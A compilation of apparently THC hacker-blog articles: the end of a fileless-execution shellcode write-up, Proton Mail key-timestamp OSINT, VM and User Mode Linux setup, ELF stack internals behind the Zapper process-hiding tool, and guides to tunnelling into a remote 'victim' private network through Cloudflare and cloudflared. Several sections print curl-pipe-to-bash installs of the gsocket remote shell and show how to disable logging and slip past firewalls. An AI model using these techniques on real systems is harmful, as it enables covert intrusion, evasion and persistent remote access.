PHP does not allow forking. Thus we use PHP’s fgets() to read /proc/$$/syscall and overwrite the .text segment after libc’s fgets-stub. We later need to call fgets() again to trigger our shellcode on return from the read(2)-syscall (libc’s fgets() calls read(2)-syscall).

Further work on the shellcode:

Our version of the shellcode works only on x86_64 machines, there are a lot more architectures out there, we believe x86 and arm version could come in handy. we leave this as an exercise to the community. (If you end up making a version for any of the other architectures, please submit a PR here.

Cases in which the trick might not work:

1. When access to /proc/self/mem is restricted then only the Perl variant will work (e.g. inside containers)

2. When SELinux or GRSecurity is present, which could possibly restrict access to memfd_create [5].

Prevention:

The trick (with slight modifications) works if only ONE of either ptrace(), mmap() or memfd_create() is available [disabling ptrace will also -EPERM /proc/self/mem]. Likely there are many more tricks to do the same…ask your friendly Blue Team to figure it out. Good luck.

Notes and References:

1. It does call mmap() but not to a location on any nonexec-mount point (which would fail) but on the memory-FD only. So we are ok.

2. Fileless execution by https://tmpout.sh/3/10.html, grugq (2004) - https://seclists.org/bugtraq/2004/Jan/2, https://phrack.org/issues/62/8.html#article

3. Well, one could still obtain snapshots of the memory.

4. The documentation remains silent if memfd pages can be swapped to disk.

5. There are reason why SELinux and GRSecurity might not want to restrict memfd usage, see : https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/.

6. execve could be used instead of execveat, but it would require the exact path of memory fd (ex: /proc/self/fd/4) handling strings is a mess in assembly, @skyper instead suggested the execveat trick, which can directly accept the created fd number.

7. We found the /proc/self/mem trick here: https://x.com/David3141593/status/1386678449604108289

8. The wait*() system call suspends execution of the calling thread until one of its children terminates.* (from the man pages).

Proton, a privacy-oriented Swiss company providing different online services, is most known as an email provider. Proton Mail, created in 2014, was one of the first services to introduce end-to-end encryption for the messages sent between parties inside their service, and later provided support for Pretty Good Privacy (PGP), allowing it to be used for external emails en masse as well, without any convoluted configuration.

The service does all the setup for you:

• The PGP key is generated automatically when the account is created, so others could encrypt messages for you

• Your key is published with Web Key Discovery (WKD) standard, so others could discover your key automatically before writing to you

• The keys of correspondents are automatically looked up upon adding them as To: or CC: when sending a new message

And all of this works nicely!

WKD

The Web Key Discovery (WKD) protocol is fairly simple: it allows to find the public PGP key by downloading it from your email domain name under a well-known HTTPS path /.well-known/openpgpkey/hu/, using z-base-32-encoded SHA1 hash of your email address before @ symbol as a filename.
It allows the email clients to discover the keys without using keyservers, and the contents are authenticated using HTTPS encryption and validated with a domain-bounded TLS certificate.

However, there's one minor detail: the PGP key created on account creation includes precise timestamp of its generation date, which could be used to get more information about your account than you'd wanted to disclose, even if you never used encrypted messaging.

Get the key

You need a fairly recent GnuPG client or gpg-wks-client utility from GnuPG package:

$ gpg-wks-client --check -v digmaligma@proton.me

gpg-wks-client: public key for 'digmaligma@proton.me' found via WKD
gpg-wks-client: fingerprint: 0AAC74947485BA4D6AA5DE8173A6DF56D535FD98
gpg-wks-client:     user-id: digmaligma@proton.me <digmaligma@proton.me>
gpg-wks-client:     created: Wed May 15 01:17:46 2024 MSK
gpg-wks-client:   addr-spec: digmaligma@proton.me

gpg-wks-client: created: Wed May 15 01:17:46 2024 MSK

If you don't have gpg-wks-client, regular gnupg could be used instead. However, it automatically imports the key into your gnupg's keystore, which may be undesirable.

$ gpg --locate-external-keys digmaligma@proton.me

gpg: key 73A6DF56D535FD98: "digmaligma@proton.me <digmaligma@proton.me>" not changed
gpg: Total number processed: 1
gpg:              unchanged: 1
pub   ed25519 2024-05-14 [SC]
      0AAC74947485BA4D6AA5DE8173A6DF56D535FD98
uid           [ unknown] digmaligma@proton.me <digmaligma@proton.me>
sub   cv25519 2024-05-14 [E]

The PGP key contain time in UTC, GnuPG uses your local time zone configured in the OS to display the information from it.

Solutions

The situation with PGP metadata is not unique to Proton, the same applies for your own generated keys in any email client or manually. However, before WKD the keys weren't available as freely in public, oftentimes the parties shared their keys in a form of file attachment in the first messages of the email conversation, and not all of them were uploaded to the keyservers.

Proton Mail does not allow to completely remove the encryption key, nor does it allow to control whether it's being published over WKD.
However, you can generate your own key and import it to Proton.

To hide the timestamp, we could use a fake date like 1 January 2020 00:00:00 to generate our key:

Set your local date and time to the desired value before running gpg
OR
use libfaketime to spoof it. Make sure to terminate gpg-agent first!

$ faketime -f '2020-01-01 00:00:0' gpg --full-generate-key
[…]
Please select what kind of key you want:
   (1) RSA and RSA
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (9) ECC (sign and encrypt) *default*
  (10) ECC (sign only)
  (14) Existing key from card
Your selection? 9
Please select which elliptic curve you want:
   (1) Curve 25519 *default*
   (4) NIST P-384
   (6) Brainpool P-256
Your selection? 1
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: Digma
Email address: digmaligma@proton.me
Comment: 
You selected this USER-ID:
    "Digma <digmaligma@proton.me>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
[…]
public and secret key created and signed.

pub   ed25519 2019-12-31 [SC]
      F7D02E55CE5C0FE51973AC9D84760D5E63B24E54
uid                      Digma <digmaligma@proton.me>
sub   cv25519 2019-12-31 [E]

# Export private key into file
$ gpg --armor --export-secret-keys Digma > key.asc

Now navigate to Settings → All settings → Encryption and keys → Email encryption keys, select "Import key" from the drop-down menu, and import your file.

Make sure to tag it as primary key, as only a single key is published over WKD.

$ gpg-wks-client --check -v digmaligma@proton.me

gpg-wks-client: public key for 'digmaligma@proton.me' found via WKD
gpg-wks-client: fingerprint: F7D02E55CE5C0FE51973AC9D84760D5E63B24E54
gpg-wks-client:     user-id: Digma <digmaligma@proton.me>
gpg-wks-client:     created: Wed Jan  1 00:00:00 2020 MSK
gpg-wks-client:   addr-spec: digmaligma@proton.me

Please not to forget taking zone into consideration: the time is faked for your local time zone! MSK time zone (UTC+3) is used in this example, which means that the key metadata has '31 Dec 2019 21:00:00 UTC'.

Conclusion

This simple trick could be used to reckon more information from the Proton Mail account, which could be used as a bot or puppet accounts detection metric, along with other possibilities, such as government-wide traffic correlation of first access to Proton services to match it with PGP creation date.

Proton Mail does not allow to enumerate the accounts using WKD lookups though, generating random keys for non-existent addresses.

Up until very recently there was a convenient web service to lookup and show keys information, however it's been withdrawn due to lack of time for maintenance.
Like the method? Go ahead and replenish your collection of notes of OSINT :)

👉 Like to publish an article at https://iq.thc.org? Contact us at root@proton.thc.org.

User Mode Linux (UML) is a modified Linux Kernel that the user starts just like any other Linux program. The UML-Kernel then "boots" a 'Guest Debian Linux' to which the user can log in as root.

This is a great way to play around on a root-shell on an isolated Linux.

Think of UML as something between Docker and a VM:

• All processes are visible on the host but 'kind of' isolated.

• All processes run at near host speed (~15% slower).

• All capabilities and privileges are available within the Guest OS.

• Host and Guest OS must be of the same architecture (e.g. both x86_64).

• Does not require access to /dev/kvm.

Alternatively, read Starting a VM as an unprivileged Linux User for using a full VM instead (which will run slower but better isolated).

The instructions have been tested on Segfault's Disposable Root Servers.

A. Configuration

1. Set up UML and the directory structure:

[[ ! -f ~/.ssh/id_ed25519 ]] && ssh-keygen -t ed25519 -N "" -f ~/.ssh/id_ed25519
mkdir uml
cd uml
wget https://deb.debian.org/debian/pool/main/u/user-mode-linux/user-mode-linux_5.10um3+b1_amd64.deb
ar x user-mode-linux_5.10um3+b1_amd64.deb
rm user-mode-linux_5.10um3+b1_amd64.deb control.tar.xz debian-binary
tar -xf data.tar.xz
rm data.tar.xz
mv usr/bin/linux.uml .
mv usr/lib/uml/modules .
rm -r usr
[[ ! -f ~/.slirprc ]] && echo "redir tcp 2222 22" >~/.slirprc

1. Download Debian OS and resize the image:

wget -O debian.img https://cloud.debian.org/images/cloud/bookworm/latest/debian-12-nocloud-amd64.raw
truncate -s 8G debian.img

1. Start Debian OS using the UML-Linux Kernel:

export TMPDIR=/tmp
./linux.uml \
    mem=1024M \
    root=/dev/ubda1 rw \
    ubd0=debian.img \
    systemd.unit=emergency.target

1. Configure the System

Press Enter when prompted to configure the system:

sed '/boot\/efi/d' -i /etc/fstab
echo "none /lib/modules/$(uname -r) hostfs /sec/root/uml/modules/$(uname -r) 0 2" >>/etc/fstab
mkdir -p /lib/modules/$(uname -r)
# Mount the host's /sec inside the guest OS:
echo "none /mnt/host-fs hostfs / 0 2" >>/etc/fstab
mkdir -p /mnt/host-fs
ln -s /mnt/host-fs/sec /sec # segfault.net specific
systemctl mask systemd-binfmt.service
systemctl disable getty@tty1
systemctl enable getty@tty0
ssh-keygen -A
cat > /etc/netplan/90-default.yaml <<-'EOF'
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      addresses: [10.0.2.15/24]
      routes:
        - to: default
          via: 10.0.2.2
          on-link: true
      nameservers:
        addresses: [10.0.2.3]
EOF
growpart /dev/ubda 1
resize2fs /dev/ubda1
# Add an SSH Key
systemctl daemon-reload
mount /mnt/host-fs
cp /mnt/host-fs/root/.ssh/id_ed25519.pub ~/.ssh/authorized_keys
poweroff

1. Create a Shortcut for launching

cat >launch.sh <<-'EOF'
#! /bin/sh
cd "$(dirname "$0")" || exit
export TMPDIR=/tmp
exec ./linux.uml mem=1024M root=/dev/ubda1 ubd0=debian.img eth0=slirp,52:54:00:00:01,/usr/bin/slirp-fullbolt
EOF
chmod +x launch.sh

B. Starting the UML-Linux Debian OS

1. Start the Debian OS UML-Linux

./launch.sh

Log in using root without a password or use ssh -p2222 root@0 .

1. Example: Install & start docker:

# UML Kernel does not come with all netfilter modules.
# Use iptables in "legacy"-mode instead:
update-alternatives --set iptables /usr/sbin/iptables-legacy
update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy
# Install docker
apt update
apt install docker.io
# Start 'Alpine/Linux' inside Docker, inside UML.
docker run --rm -it alpine

C. Advanced tricks

1. Using the Slirp-Console to forward ports from the host to the UML guest:

# On the UML guest:
apt install telnet
# Make Linux less stupid (10.0.2.0 is indeed a valid IP):
iptables -t nat -I OUTPUT -p tcp -d 10.0.2.1 -j DNAT --to-destination 10.0.2.0
# Access the Slirp console
telnet 10.0.2.1

Shoutz to Matthew (🫵🧠👍).

This is a great way to test or compile exploits and tools.

The instructions have been tested on Segfault's Disposable Root Servers.

First, we will boot an Ubuntu Linux x86_64, then an Ubuntu Linux aarch64 (arm64), then an Ubuntu Linux PowerPC (ppc64el) and lastly an OpenBSD x86_64.

Boot an AMD64 (x86_64) "Ubuntu 22.04 LTS Jammy"-Linux:

[[ -z $URL ]] && URL="https://cloud-images.ubuntu.com/releases/jammy/release/ubuntu-22.04-server-cloudimg-amd64.img"
IMAGE="${URL##*/}"
OS="${IMAGE%%-*}"
ARCH="${IMAGE##*-}"
ARCH="${ARCH%%.*}"
[[ $ARCH =~ ^[0-9]*$ ]] && ARCH="x86_64" # No ARCH in name
apt-get install -y cloud-image-utils qemu-system
mkdir -p ~/.vm/"${OS}-${ARCH}" &>/dev/null && \
cd ~/.vm/"${OS}-${ARCH}" && \
cat >metadata.yaml <<-__EOF__
instance-id: iid-${SF_HOSTNAME:-THC}01
local-hostname: ${SF_HOSTNAME:-THC}-${OS}-${ARCH}-guest
__EOF__

Create an SSH key and configure the VM. The host's /sec directory will be shared with the VM:

[[ ! -f ~/.ssh/id_ed25519 ]] && ssh-keygen -t ed25519 -N "" -f ~/.ssh/id_ed25519
cat >user-data.yaml <<-__EOF__
#cloud-config
users:
  - name: root
    lock_passwd: false
    # OpenBSD: hashed_passwd: '$2b$06$mbQdo90rertzSkoBBeZCzePTMtdkx7cuOax8xv.1W5ta0tJiNAlMG'
    hashed_passwd: '$(echo segfault | openssl passwd -6 -stdin)'
    ssh_authorized_keys:
      - $(ssh-keygen -y -f ~/.ssh/id_ed25519)
bootcmd:
  #FreeBSD: - sed -i "" 's/#PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config
  - mkdir -p /sec
mounts:
  - [ host0, /sec, 9p ]
__EOF__
# Edit this file for OpenBSD or FreeBSD

Create the seed.img file (aka cloud-init) and download and enlarge the cloud image:

cloud-localds seed.img user-data.yaml metadata.yaml
[[ ! -f "${IMAGE:?}" ]] && wget "${URL}"
qemu-img resize "${IMAGE}" 32G

Boot the VM:

unset ARGS
[[ -e /dev/kvm ]] && ARGS+=("-enable-kvm")
[[ $ARCH == amd64 ]] && ARCH="x86_64"
[[ $ARCH == arm64 ]] && ARCH="aarch64"
[[ $ARCH == aarch64 ]] && ARGS=("-machine" "virt" "-bios" "/usr/share/qemu-efi-aarch64/QEMU_EFI.fd" "-cpu" "cortex-a57")
[[ $ARCH == ppc64el ]] && ARCH=ppc64le
[[ $ARCH == ppc64le ]] && unset ARGS
qemu-system-${ARCH} \
    -m 1G \
    -nographic \
    "${ARGS[@]}" \
    -device virtio-net-pci,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp:127.0.0.1:2222-:22 \
    -drive "if=virtio,format=qcow2,file=${IMAGE}" \
    -drive "if=virtio,format=raw,file=seed.img" \
    -virtfs local,path=/sec,mount_tag=host0,security_model=passthrough

The Linux Kernel will boot and you can log in with root / segfault or with ssh -p 2222 root@0:

Optional: Install and run an Alpine Linux inside Docker (inside the guest VM):

sudo bash
bash -c "$(curl -fsSL https://get.docker.com)"
docker run --rm -it alpine

Set the URL= to a different location to start any other OS of any architecture. Examples:

# Ubuntu ARM64 (aarch64)
URL="https://cloud-images.ubuntu.com/releases/jammy/release/ubuntu-22.04-server-cloudimg-arm64.img"
# Ubuntu PowerPC-64
URL="https://cloud-images.ubuntu.com/releases/jammy/release/ubuntu-22.04-server-cloudimg-ppc64el.img"
# Centos x86_64
URL="https://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud.qcow2"
# OpenBSD x86_64
URL="https://object-storage.public.mtl1.vexxhost.net/swift/v1/1dbafeefbd4f4c80864414a441e72dd2/bsd-cloud-image.org/images/openbsd/7.3/2023-04-22/ufs/openbsd-7.3-2023-04-22.qcow2"
# FreeBSD x86_64
URL="https://object-storage.public.mtl1.vexxhost.net/swift/v1/1dbafeefbd4f4c80864414a441e72dd2/bsd-cloud-image.org/images/freebsd/13.2/2023-04-21/zfs/freebsd-13.2-zfs-2023-04-21.qcow2"

Note:

1. For OpenBSD, edit user-data.yaml and change:
   hashed_passwd: '$2b$06$mbQdo90rertzSkoBBeZCzePTMtdkx7cuOax8xv.1W5ta0tJiNAlMG'

2. For FreeBSD, edit user-data.yaml and change:

   sed -i "" 's/#PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config

Other Cloud Servers:

1. https://bsd-cloud-image.org/

2. https://cloud-images.ubuntu.com/releases/

3. https://cloud.centos.org/centos/7/images/

Go all the way down the rabbit hole and read about cross-compiling exploits. Or read how to Start a User-Mode-Linux.

Shoutz to crt, MRX7014, Matthew and Ray San.

I had to learn this for the development of Zapper - a Linux tool to delete all command line options from any process (without needing root).

Overview

1. The Kernel receives SYS_execve() by a userland program.

2. The Kernel reads the executable file (specific sections) into specific memory locations.

3. The Kernel prepares the stack, heap, signals, ...

4. The Kernel passes execution to the userland program.

Examining a binary

Let us start with a simple Linux C program:

int main(int argc, char *argv[0]) {
        return 0;
}

Compile it with gcc -static -o none none.c and find out some details:

$ readelf -h none
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4014f0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          760112 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         10
  Size of section headers:           64 (bytes)
  Number of section headers:         30
  Section header string table index: 29

The first instructions start at the 'Entry Point' at 0x4014f0. These instructions were created by the compiler (gcc, go, etc). They differ by compiler.

Let's load the binary into gdb and disass 0x4014f0 the instructions. The instructions perform a bit of housekeeping but eventually will call main() (or the GoLang equivalent).

Let's set a break-point at the Entry Point (0x4014f0)and run the app with two command line options (firstarg and secondarg):

gdb ./none
pwndbg> disass 0x4014f0
pwndbg> br *0x4014f0
pwndbg> r firstarg secondarg
 ► 0x4014f0 <_start>       xor    ebp, ebp
   0x4014f2 <_start+2>     mov    r9, rdx
   0x4014f5 <_start+5>     pop    rsi
[...]
──────────────────────[ STACK ]──────────────────────
00:0000│ rsp 0x7ffca4229540 ◂— 0x3
01:0008│     0x7ffca4229548 —▸ 0x7ffca422a4b3 ◂— '/sec/root/none'
02:0010│     0x7ffca4229550 —▸ 0x7ffca422a4c2 ◂— 'firstarg'
03:0018│     0x7ffca4229558 —▸ 0x7ffca422a4cb ◂— 'secondarg'
04:0020│     0x7ffca4229560 ◂— 0x0
05:0028│     0x7ffca4229568 —▸ 0x7ffca422a4d5 ◂— 'BASH_ENV=/etc/shellrc'
[...]

(If you are using gdb without pwngdb then you may need to x/64a $rsp to list the first 64 entries from the stack.)

The Stack Pointer rsp is at 0x7ffd4f48bd10. Let's find out the end of the stack with grep -F '[stack]' /proc/$(pidof none)/maps:

7ffd4f46c000-7ffd4f48d000 rw-p 00000000 00:00 0         [stack]

The Kernel has allocated the stack memory from 0x7ffd4f46c000 to 0x7ffd4f48d000 - a total of 132 KB. It will grow dynamically up to 8MB (ulimit -s kilobytes). Our program (so far; see rsp) only uses the stack from the rsp address (0x7ffd4f48bd10) down to the same end of the stack (0x7ffd4f48d000) - a total of 4,848 bytes (echo $((0x7ffd4f48d000 - 0x7ffd4f48bd10)) == 4848).

This is the 'birth' of the execution: The Kernel, in all its braveness, has passed control to our program. Our program is about to execute its very first instruction - to take its very first step (so to say).

What is on the stack right now is all the information the program gets from the Kernel to run. It contains the argument list, the environment variables and a lot of other interesting information.

For Zapper we had to manipulate the argument list, move stack values around, adjust the pointers and then pass control back to the program - without it falling over. It was prudent to understand a bit better what the Kernel had put on the stack.

Let's dump the stack:

pwndbg> dump binary memory stack.dat $rsp 0x7ffd4f48d000

and load it into hd <stack.dat or xxd <stac.dat and have a little sneak preview...

 03 00 00 00 00 00 00 00  b3 a4 22 a4 fc 7f 00 00  |..........".....|
 c2 a4 22 a4 fc 7f 00 00  cb a4 22 a4 fc 7f 00 00  |..".......".....|
 00 00 00 00 00 00 00 00  d5 a4 22 a4 fc 7f 00 00  |..........".....|
 eb a4 22 a4 fc 7f 00 00  11 a5 22 a4 fc 7f 00 00  |..".......".....|
 25 a5 22 a4 fc 7f 00 00  30 a5 22 a4 fc 7f 00 00  |%.".....0.".....|
[...]
 b4 5c 18 e0 ed f9 fb 0d  30 78 38 36 5f 36 34 00  |.\......0x86_64.|
 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
 00 00 00 2f 73 65 63 2f  72 6f 6f 74 2f 6e 6f 6e  |.../sec/root/non|
 65 00 66 69 72 73 74 61  72 67 00 73 65 63 6f 6e  |e.firstarg.secon|
 64 61 72 67 00 42 41 53  48 5f 45 4e 56 3d 2f 65  |darg.BASH_ENV=/e|
 74 63 2f 73 68 65 6c 6c  72 63 00 43 48 45 41 54  |tc/shellrc.CHEAT|
 5f 43 4f 4e 46 49 47 5f  50 41 54 48 3d 2f 65 74  |_CONFIG_PATH=/et|
[...]
 55 4d 4e 53 3d 31 31 38  00 2f 73 65 63 2f 72 6f  |UMNS=118./sec/ro|
 6f 74 2f 6e 6f 6e 65 00  00 00 00 00 00 00 00 00  |ot/none.........|

Lots of pointers. Lots of strings. Lots of unknowns.

Let's follow the call from execve() to the program's entry point.

The execve() calls the Kernel via a syscall which then calls do_execve():

Eventually, this ends up in do_execveat_common(). The bprm structure is created and all kinds of information about the program are assigned to it (see binfmts.h).

Important to us, the program's filename, environment variables and options (argv) are copied from Kernel memory to the process's stack. The stack grows towards the lower addresses: The first item put on the stack (the bprm->filename) is thus at the largest address on the stack (the bottom) and above it (e.g. smaller addresses) comes the envp and then the argv.

We follow to bprm_execve() where some checks are completed before calling exec_binprm(). From there into search_binary_handler() where the Kernel checks if the binary is ELF, a shebang (#!) or any other type registered via the binfmt-misc module. The kernel then calls the appropriate function to load the binary.

In our case, it's an ELF binary and so load_elf_binary() is called. The kernel creates the memory and thereafter maps the sections from the binary file into memory. It calls begin_new_exec() to set all credentials and permissions for the new process.

The kernel then checks if the ELF binary should be loaded by an interpreter (ld.so):

or, in the case of a static binary like ours, loaded directly without an interpreter:

Finally, create_elf_tables() is called. This is where all the stack magic happens that we are interested in.

First, the function arch_align_stack() adds a random amount of zeros to the stack (e.g. stack randomization) to make (some) buffer overflow exploits work (a little) less reliably. It then aligns the stack to 16 bytes (e.g. sets the stack pointer to the next lower address that is aligned to 16 bytes with & ~0xf).

The kernel then puts x86_64\0 onto the stack and next adds 16 bytes of random data on top (which libc uses as a seed for its PRNG):

The kernel then creates the elf auxiliary table: A collection of (id, value) pairs that describe useful information about the program being run and the environment it is running in, communicated from the kernel to user space.

The list ends with a Zero Identifier and Zero value (e.g. 16 bytes of 0x00). There are about 20 entries (320 bytes) in the list.

The table starts with ARCH_DLINFO (which expands to AT_SYSINFO_EHDR + AT_MINSIGSTKSZ).

The 'Identifiers' are defined in auxvec.h:

In gdb the elf auxiliary table from our program's stack looks like this (Note: The 'Identifier' values above are in decimal but gdb shows them in hex):

[... above is argc ...]
[... above is argvp ...]
[... above here is envp ...]
0x7ffca42296a8: 0x21    0x7ffca4351000    <-- AT_SYSINFO_EDHR
0x7ffca42296b8: 0x33    0xd30             <-- AT_MINSIGSTKSZ
0x7ffca42296c8: 0x10    0x178bfbff        <-- AT_HWCAP
0x7ffca42296d8: 0x6     0x1000            <-- AT_PAGESZ
0x7ffca42296e8: 0x11    0x64
0x7ffca42296f8: 0x3     0x400040
0x7ffca4229708: 0x4     0x38
0x7ffca4229718: 0x5     0xa
0x7ffca4229728: 0x7     0x0
0x7ffca4229738: 0x8     0x0
0x7ffca4229748: 0x9     0x4014f0         <-- Our entry point
0x7ffca4229758: 0xb     0x0
0x7ffca4229768: 0xc     0x0
0x7ffca4229778: 0xd     0x0
0x7ffca4229788: 0xe     0x0
0x7ffca4229798: 0x17    0x0
0x7ffca42297a8: 0x19    0x7ffca42297f9   <-- Ptr to Random
0x7ffca42297b8: 0x1a    0x2
0x7ffca42297c8: 0x1f    0x7ffca422afe9   <-- Ptr to filename
0x7ffca42297d8: 0xf     0x7ffca4229809   <-- Ptr to x86_64
0x7ffca42297e8: 0x0     0x0                  <-- NULL + NULL
[... ELF table stops here ...]
0x7ffca42297f8: 0xe8e8de3a49831f00      0xdfbf9ede0185cb4 <-- RND16
0x7ffca4229808: 0x34365f363878af        0x0  <-- "x86_64" + '\0'
[... below is empty space from stack randomization ...]
[... below are argv strings ...]
[... below are env strings ...]
[... last is the filename (/root/none) ...]

Thereafter the kernel allocates stack memory to store the elf-aux-table, the argv- and env-pointers and the argc value (+1) and aligns the top of the stack to 16 bytes. (It does not yet copy the elf-aux-table onto the stack just yet. This happens later):

...and then puts the argc, argv-pointers and env-pointers onto the stack:

...and then copies the elf-aux table (elf_info; from above) on the stack (aligned; below the env pointers).

(The clever reader may have noticed that 'RND16' does not start at an aligned address - 0x7ffca42297f9: It is because RND16 was put on the stack before the STACK_ROUND() call to put the elf-info table and env/argv pointers).

Now back in load_elf_binary(), the kernel sets the registers, clears some stuff and finally (!) calls START_THREAD() to start the program.

Afterthought: Someone pointed https://lwn.net/Articles/631631/. Their ASCII art is superior to mine 🫶. It shows the layout of the stack just before execution (but they drew it the other way around; starting with the largest address at the top and the smallest addresses at the bottom):

How to Zapper

Wheeee. What a ride. For Zapper we ptrace() at the entry-point, increase the stack to make a copy of argv/env-strings, adjust all the pointers to point to 'our' copy of the argv/env-strings and ZERO the original ones to 0x00. The kernel does not know about it and still references the now zero'd argv/env-strings and ...wush..they are gone from the process list.

Telegram: https://t.me/thcorg 👈 Releases published here 1 day earlier. 👻

Mastodon: @thc@infosec.exchange

Twat: https://twitter.com/hackerschoice

Introduction

In this article, you will learn how to use Cloudflare to access a remote private network.

Both, you and the remote private network are behind separate NAT Firewalls in two different parts of the world. There is no direct communication between your workstation and the remote private network.

You will learn how to 'extract' the WireGuard Secrets from Cloudflare and to utilize Cloudflare's tunnels without using their client software.

The assumption is that you have only shell access (no GUI).

This article is an addition to GuidePoint's findings. Don't miss our comments at the end of this article. :>

Step 1: Cloudflare Settings

Sign up to Cloudflare Zero Trust (we use temp-mail).

Click on 'Explore all products' to get to the dashboard. Click on 'Zero Trust' and choose a teamname. We choose "0x31337". Select the 'Free' plan and enter the Credit Card or Paypal information.

In the left menu click "Settings".

Go to "Network" and disable "Activity Logging".

Under "Firewall" enable "Proxy" and enable TCP, UDP and ICMP.

Go to "Settings" => "WARP Client" and "Manage" under "Device enrollment permissions".

Add a rule. Use the same E-mail or a new email address and click "Save". This email address will later be used to receive a 6-digit authentication code.

Go to "Settings" and "Warp Client" and under "Device settings" select "Configure".

Scroll down to "Split Tunnel" and click "Manage"

Remove them all:

Step 2: Creating a Cloudflare Tunnel

In the left menu click on "Access" and "Tunnels" and "Create a tunnel" (pick any name).

Click on "Debian" and cut & paste the content of the left grey box into the Linux shell on the remote private network.

This will automatically install and start the tunnel.

Type "journalctl -u cloudflared -fa" to see the logs.

The Cloudflare Dashboard should now show the connected tunnel:

To the right of the tunnel click on the 3 dots and select "Configure". Click the Tab "Private Network" and "+ Add a private network". Then add "0.0.0.0/0":

Step 3: Extracting the WireGuard configuration

We don't want to use the Warp+ client and (normally) we do not have a GUI either. The WARP+ client is just a fancy gimmick to configure WireGuard (the tech that Cloudflare uses under the hood). We need to trick Cloudflare to reveal the actual WireGuard secrets to us so that we can configure WireGuard without using the WARP+ client.

Our Team Name (from Step 1) is "0x31337". Open a browser and go to https://0x31337.cloudflareaccess.com. Enter the E-Mail address from Step 1 / Device enrollment rules.

Check the email account for the 6-digit code and enter it:

Ignore the warning to open the WARP+ app. Instead, extract the (very long) JSON TOKEN from this webpage:

1. Right Click

2. Inspect Elements

3. Head

4. Copy everything after 'token='

Execute 'wgcf-teams' on any Linux shell and cut & paste the long hex-string (the JSON TOKEN) into the application. The tool retrieves the WireGuard Secrets from Cloudflare and displays them:

This is a valid WireGuard configuration for accessing the remote private network (via Cloudflare) from anywhere in the world. Save this configuration to '/etc/wireguard/wg0.conf' and do a 'wg-quick wg0' to connect.

Alternatively, use a Disposable Root Server and the above credentials to connect your Root Server to the remote private network (using WireGuard):

curl sf/wg/up \
      -d PrivateKey=YNlEQcxVyMK2/6KlOsRlllbrlhrKZz3S9RoOABzSXVc= \
      -d Address=172.16.0.2/32 \
      -d Address=2606:4700:110:8015:29a6:ee92:8735:cbe2/128 \
      -d PublicKey=bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo= \
      -d Endpoint=162.159.192.1:2408 \
      -d name=cftest

From the Root Server, we can now access any host on the remote private network (e.g. test connect to host 10.0.2.15 on port 64222):

The request goes from your shell on your Root Server via WireGuard to Cloudflare, then from Cloudflare to the cloudflared process running on the victim's machine and then to the host 10.0.2.15 inside the victim's private network.

All other traffic from the Root Server appears as if coming from the remote private network:

Conclusion

The era of only firewalling ingress traffic has come to an end. It will be years before the last admin realizes this...

Cloudflare was used solely as an example.

Network protocols are being pushed up the ISO/OSI model into the Application layer and no tools exist to police the traffic.

For example, network monitoring tools can not differentiate between legitimate traffic to s3.\.amazonaws.com* or an attacker using S3 buckets to tunnel WireGuard-over-S3.

....what a time to be alive.

Comments

The GuidePoint article claims that Threat Actors (TAs) are using this. Here at THC we feel sorry for such TAs: There are easier ways than using CF. CF does not provide anonymity either (it requires a KYC/AML-compliant Credit Card for registration) or resilience (Losing access to your CF account means losing all your tunnels). We have previously written an article on how to use CF's free tunnels (which don't require registration) to tunnel arbitrary data (including WireGuard) into a remote private network. Many other tools and tricks exist.

Join us on Telegram to learn more.

Thanks

..to Matthew.

Overview:

                  | MEMORY | STORAGE | CPU | comment
------------------+--------+---------+-----+---------
Github Codespace  |  32GB  |    8GB  | 4   | 20Gpbs
GitPod            |  64GB  |   50GB  | 8   | fastest I/O
Google Cloudshell |   8GB  |    5GB  | 2   | persistent, 1-3Gbps
Google Colab      |  12GB  |  128GB  | 2   | 10Gbps

A community-run alternative is Segfault's Disposable Root Servers.

Access any of these shells remotely. Cut & paste the following into the shell:

bash -c "$(curl -fsSL https://gsocket.io/x)"

GitHub Codespace

Go to GitHub Codespace.

GitPod

Go to GitPod.

Google Cloudshell

Go to Goolge Cloudshell (Article).

Google Colab

1. Go to Google Colab. There is no shell console by default. Install gsocket to log into the shell console remotely.

2. Insert `!bash -c "$(curl -fsSL https://gsocket.io/x)"` and press the play button

1. Use any of the 3 gsocket commands to connect to the root shell remotely.

This article explains how to 'publish' any other service (like SSHD) and make it accessible via the cloudflared tunnel. It does so by adding a WebSocket Proxy on either side of the tunnel.

You need websocat, cloudflared and gost.

UPDATE-2024-11-23: DarkFlare is the same as websocat+cloudflared but as a single binary. Use that.

Example 1:

Configure a tunnel to access SSHD on a server that is behind the firewall (via Cloudflare's cloudflared tunnel).

On the server behind the firewall:

### Start a WS <-> TCP forwarder
websocat -E -b ws-l:127.0.0.1:40008 tcp:127.0.0.1:22 &
### Create a free CF Tunnel:
cloudflared tunnel --url http://localhost:40008 --no-autoupdate

The CF tunnel will show you an URL similar to this one:

On your workstation:

### Start a TCP <-> WS forwarder to above URL
websocat -E -b tcp-l:127.0.0.1:2222 ws://<YourUrlFromAbove>.trycloudflare.com &
### Connect using SSH:
ssh -p 2222 root@127.0.0.1

